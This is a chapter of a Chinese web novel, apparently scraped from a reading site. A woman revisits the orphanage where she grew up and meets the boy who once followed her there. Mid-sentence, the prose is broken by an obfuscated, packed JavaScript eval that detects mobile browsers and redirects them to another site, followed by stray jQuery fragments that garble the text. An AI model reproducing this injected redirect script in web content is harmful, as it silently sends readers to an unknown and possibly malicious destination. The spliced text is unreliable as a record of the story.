因为所有的联系方式都被拉黑，纪言川一时找不到席玉，更不知道她家具体住在哪里。


    他坐在床边盯着手机出神，手指无意识地滑过屏幕，最终只是揉了揉发僵的脸，第一次如此清晰地意识到——席玉脾气还挺大。


    他将手机扔到床上，心底莫名烦躁，从烟盒里抽出一支烟点燃。


    席玉一向不喜欢烟味，他平时几乎不敢多抽，就怕身上残留的味道让她皱眉，所以他都是躲着抽几根，像是又回到高中时期那种偷偷摸摸的。


    白雾缭绕，模糊了他略显疲惫的视线。


    就在这时，一阵急促的敲门声从门外传来，一声接一声，显得格外紧迫，像是有什么急事，打破了室内的沉寂。


    “谁啊？”纪言川没多想，掐灭了烟，径直走过去拉开了门。


    门外空无一人。只有灰白的墙壁，和一张破了几个小洞、略显陈旧的地毯，无声地蔓延向走廊两端。


    他蹙眉探身，向走廊左右望去，却在转角处瞥见一片迅速掠过的黑色衣角，快得几乎像是幻觉。


    他刚迈出一步，脚下就传来一声轻微的“咔嚓”响动，像是踩到了什么硬质的东西。


    纪言川低头弯腰，捡起一张印着露骨照片和联系方式的卡片——“成人服务，上门周到”。什么意思，不用多说。


    他捏着卡片再度望向转角，那里早已空荡无人，仿佛刚才的一切只是错觉，唯有指尖的卡片传来真实的存在感。


    那人躲得这么快，大概就是发这种小卡片的人吧。毕竟这种生意可见不得人，更不能光明正大。


    可他没注意到，整层楼的房门前，光洁如新，只有他的门口，落了这么一张突兀又肮脏的卡片。


    薄薄的卡片夹在指间，明明只是没有温度的纸片，却仿佛顺着血液烧了起来，激起一阵又一阵的灼热，烧得他嘴皮都发燥。


    纪言川盯着它看了几秒，心想这东西终究是脏的，他随手将卡片扔进垃圾桶，仿佛扔掉了什么病菌，转身走进卫生间，打开水龙头反复搓洗手指，直到皮肤微微发红。


    ＊


    翌日，清晨。


    天光初亮，像一锅刚刚熬好的奶白鱼汤，朝阳从中浸出，晕染出几缕血橙色的霞光，温柔地铺洒在连乌镇的青石板路上。


    席玉一整晚都没睡好。本来睡得就晚，半夜还反复醒来，思绪纷乱。窗外的树枝上鸟鸣夹杂着蝉叫，喧嚣得几乎刺耳。


    她索性起身，换上一件淡色长裙，外搭米白色针织薄开衫，打算出门走走，呼吸一下清晨的新鲜空气，驱散胸口的滞闷。


    连乌镇并不大，慢悠悠散步，一天就能走完。席玉停在一家现榨豆浆的小铺前，刚扫码付完钱，微信突然弹出一条退款通知——有人退回了她的转账。


    她咬着吸管愣了下，自己最近好像没给纪言川转什么钱吧？


    困惑地打开聊天列表，发现那红色的退回提醒来自游泱。


    虽然没维持补课关系，但至少也是补了半天，席玉也只收了一半的钱，剩下的又退回给对方，显示未被接收。


    席玉有些犹豫该怎么开口再联系，加上整晚没睡好头脑发沉，想来想去还是决定晚点再说。


    她无意识地吸了一口豆浆，却被滚烫的液体烫得瞬间舌尖发麻，痛感直冲头顶。


    “嘶……好烫！”她忍不住吐了吐舌尖散热，像只被惊到的小猫，赶紧把豆浆装回塑料袋，打算带回家放凉再喝。


    她沿着早餐铺慢慢往前走，旁边就是社区服务中心，缩在街角一个不太起眼的位置。


    今天这里似乎格外热闹，双开玻璃门外堆满了书，五彩斑斓一片，高饱和度的封面十分抢眼。席玉走近了些，发现都是崭新的儿童绘本和读物，在晨光下显得充满希望。


    几个穿红马甲的志愿者正蹲在旁边整理书籍，脸上没什么笑容。


    “打扰一下，”席玉朝其中一位看起来年纪相仿、大学生模样的女生问道，“你们这是在做什么活动吗？”


    “今天要去福利院送书，陪孩子们读读书、聊聊天。”女生抬起头。


    福利院——连乌镇上唯一的那所孤儿院。席玉就是从那里被领养出来的。


    记忆中的那里贫瘠、破旧，灰扑扑的天空下是总是缺角的水泥地，并没给她留下多少温暖的童年回忆。她已经很久没回去过了，甚至有意无意地将其封存。


    但此刻突然被提及，心里却泛起一阵说不清的、细微而尖锐的牵动，像是有根线被轻轻扯了一下。


    她突然生出一种强烈的、无法解释的冲动——想去看看。


    ＊


    福利院的名字叫做“启明之家”。


    席玉站在门外，看着那四个历经风雨已有些发锈的金属字出神。


    依稀记得她还在这里生活的时候，这儿连个正式的名字都没有，连同他们这群没人要的孤儿一样，一齐被遗弃在世界的角落里，无声无息。


    她看到那群红色的马甲也进去了，正和两鬓斑白、面容慈祥的院长亲切交谈着，一片其乐融融。


    席玉下意识绕开了他们，仿佛不想打扰这份刻意营造的热闹，只是独自沿着旁边的一条熟悉又陌生的小路慢慢走进去。


    这儿和以前的大通铺格局不一样了，听说得益于社会捐助，区域内被分割成许多个相同面积的房间，看上去像是一个个独立的“家”，每个房间里住着3-4个孩子，有了些许隐私和归属感。


    但即便如此，陈旧的设施和略显逼仄的空间，依然昭示着经费的有限和无法提供更优环境的无奈。


    席玉没进房间去，总觉得那是孩子们的私人空间，贸然闯入是一种打扰。


    她只是在后面的院子里，被几个好奇望过来的孩子吸引，坐在石凳上，拿出那袋温凉的豆浆，一边喝，一边给他们讲起了童话故事。


    小孩子玩心重，起初还听得津津有味，圆溜溜的眼睛睁得大大的，后面就忍不住手拉着手，跑到一旁玩自己的游戏去了。


    席玉也不在意，笑了笑，继续喝着豆浆。阳光透过树叶缝隙洒下，在她裙摆上跳跃。


    她目光一转，看到一旁无人坐着的轮胎秋千还在微风里轻轻晃荡，一下又一下，在地面上划出摇摆不定的影子，带着一种孤独的韵律。


    心念微动，她走过去，指尖触摸那粗糙的轮胎面。


    她还记得小时候，孤儿院里游玩项目很少，于是她最喜欢玩这个秋千，仿佛整个灰暗世界里只有这一处能让她感到些许快乐。


    当身体被抛到半空中时，会有一种短暂而令人痴迷的自由感，像是后背能生出羽翼，挣脱地心引力，冲向遥不可及的蓝天白云，而不是日复一日地在这里等待被挑选，期盼着一点渺茫的、来自陌生人的温暖。


    而当时，还有个小跟班总喜欢给她推秋千。


    她情不自禁地坐上去，脚尖踮在泥土地上轻轻一踩，整个人便轻盈地晃荡了起来。


    微风拂过她的面颊和发丝，带着青草和泥土的气息。她望着前方那片小小的绿草地出神，记忆的闸门缓缓打开。


    她记起来，自己小时候似乎有个很忠诚的“小跟屁虫”，走到哪跟到哪儿，沉默寡言，眼神却总是牢牢锁着她。


    仿佛自己身上揣了什么磁铁一样。


    每天吃过了午饭，他就会像个小卫士一样，早早跑来给她占住这个秋千的位置，然后装作一副凶巴巴的样子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210180|180924||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吓走别的小朋友，明明他自己才是那个最瘦小、最该被欺负的孩子。


    那时候孩子们也听了不少童话故事，就总会笑那男生像故事里的骑士，还以为自己得了个公主。


    席玉感受着微风，身体轻盈地被带到空中。恍惚间，记忆深处那双总是小心翼翼推在她肩胛骨上的小手，似乎又传来了微弱的触感——他总是用尽全身力气，让她一次又一次地“飞”得更高，迎接那片刻的“自由”。


    只不过太容易得到的是不会珍惜的，更不会有刻骨铭心的记忆。


    当年的她是院里最受欢迎的孩子，笑容甜，模样好，性格活泼得像个小太阳，老师、志愿者和潜在领养人都喜欢她，身边总围着不少人。


    而那个阴沉、瘦小、只对她一人特殊且执拗的男孩，在她的世界里，占比实在太小了，小到她从未真正去记住他的样子和他的名字，只觉得他是福利院背景里一个沉默而固定的点缀。


    现在的他去哪了？也被领养了吗？应该吧……


    席玉漫无边际地想着。但其实她知道，并不是所有孩子都能顺利被领养走，身体健全、模样周正的永远机会更多。


    除了那个小男生。她忽然模糊地想起，他似乎从来不受那些意向领养父母的人的待见，从而一直留在孤儿院里，直到别人都被带走。


    那孩子的具体长相在她记忆里已经模糊成一片黯淡的影子。


    只记得他四肢总是很细瘦，脸色恹恹的，不像其他孩子那样鲜活，一双黑黝黝的眼睛里没什么光亮，古井无波，缺乏孩子该有的纯真和好奇，唯独在看着她时，会有一种近乎烫人的专注。


    他总是乖巧无声地站在她身后几步远的地方，静静地、久久地注视着她，无论何时何地，像只认定了主人就绝不回头的小狗。


    当别的男生来和她玩时，他不会拦着也不会闹着要加入，只是一个人蹲在角落里捡起木枝在地上画画。


    往往在游戏结束后，大家散场回到房间时，他会悄无声息地靠近，小手拉住她的衣角或手指，执拗又生硬地低声说：


    “你不要和他们玩，我不喜欢。”


    他的不喜欢，不是孩童的撒娇或赌气，而是一种带着难以理解的宣告和独占。


    那时的席玉只是觉得他有点怪，并未深思，往往笑着随口应一声，下一刻就被别的事物吸引了注意力，忽略了他眼中翻涌的、与年龄不符的暗潮。


    秋千缓缓停下。


    席玉把腿往前一抵，脚尖压在冷硬的地面上，止住了晃荡。


    那段被灰蒙住的记忆仿佛被擦净了。


    她像是被某种直觉牵引，像小时候任何一次感受到身后那专注目光时一样，脖颈自然而然地往后一压，头骨便被连带着仰向后方，眼眸向上抬去——


    视线撞入一双幽深的眼眸。


    那双眼睛，仿佛是沾水研磨开的浓墨，深不见底，只是那样平直地、安静地望来。


    迎着树叶缝隙间漏下的、有些晦暗的光线，席玉整个人便清晰地倒映在他那纯粹的、几乎能将人吸进去的黑色瞳仁里。


    他就站在她的背后，身姿挺拔，不再是记忆中瘦小的模样，但那份沉默和专注，却与记忆深处的小影子瞬间重合。


    时光仿佛在这一刻凝固交错。


    席玉的心脏莫名一颤，一个几乎被遗忘的名字，伴随着一种突如其来的、强烈的熟悉感，脱口而出：


    “游泱？”


    游泱直勾勾地盯着她，沉默了几秒，那总是紧抿的唇线缓缓向上弯起，展露出一种近乎晴光映雪般的清俊温润。


    她记起来了。


    他的席玉。


    终于，再一次，看到了他。